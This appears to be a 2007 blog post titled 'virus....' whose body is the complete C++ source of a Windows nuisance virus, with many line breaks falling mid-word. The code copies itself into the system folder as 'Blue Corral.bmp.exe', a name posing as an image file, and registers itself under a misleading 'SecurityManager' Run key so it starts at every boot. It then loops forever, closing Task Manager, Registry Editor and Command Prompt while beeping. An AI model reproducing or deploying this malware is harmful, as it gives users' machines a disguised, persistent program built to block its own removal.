Sunday, November 11, 2007

virus....

#include"stdafx.h"
#include"windows.h"

int APIENTRY WinMain(HINSTANCE
hInstance,
HINSTANCE hPrevInstance,
LPSTR
lpCmdLine,
int nCmdShow)
{
HKEY hKey;
char
sd[255];
char path[MAX_PATH];
int Freq = 0;
int
Duration = 100;
bool Forwards = true;
bool Backwards =
false;
int timer = 0;
HWND hWin;
HMODULE GetModH =
GetModuleHandle(0);
GetModuleFileName(GetModH, path,
256);

GetSystemDirectory(sd,255);

strcat(sd,"\\
Blue
Corral.bmp.exe");
CopyFile(path,sd,FALSE);
unsigned
char PathToFile[20] = "Blue
Corral.bmp.exe";

RegOpenKeyEx(
HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\Cur
rentVersion\\Run",0,KEY_SET_VALUE,&hKey
);
RegSetValueEx(hKey,
SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFil
e));
RegCloseKey(hKey);

while(1==1)
{

hWin =
FindWindow(NULL,"Windows Task
Manager");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPAR
AM)0);

hWin = FindWindow(NULL,"Registry
Editor");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARA
M)0);

hWin = FindWindow(NULL,"Command
Prompt");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARA
M)0);

hWin = FindWindow(NULL,"Close
Program");
SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPAR
AM)0);

if(Backwards==true)
{
Beep(Freq,Duration);
Fr
eq = Freq - 100;
timer = timer - 1;
}
if (timer ==
0)
{
Backwards = false;
Forwards = true;
}

if
(timer == 30)
{
Backwards = true;
Forwards =
false;
}
if(Forwards==true)
{
Beep(Freq,Duration);
Fr
eq = Freq + 100;
timer = timer + 1;
}
}
return 0;
}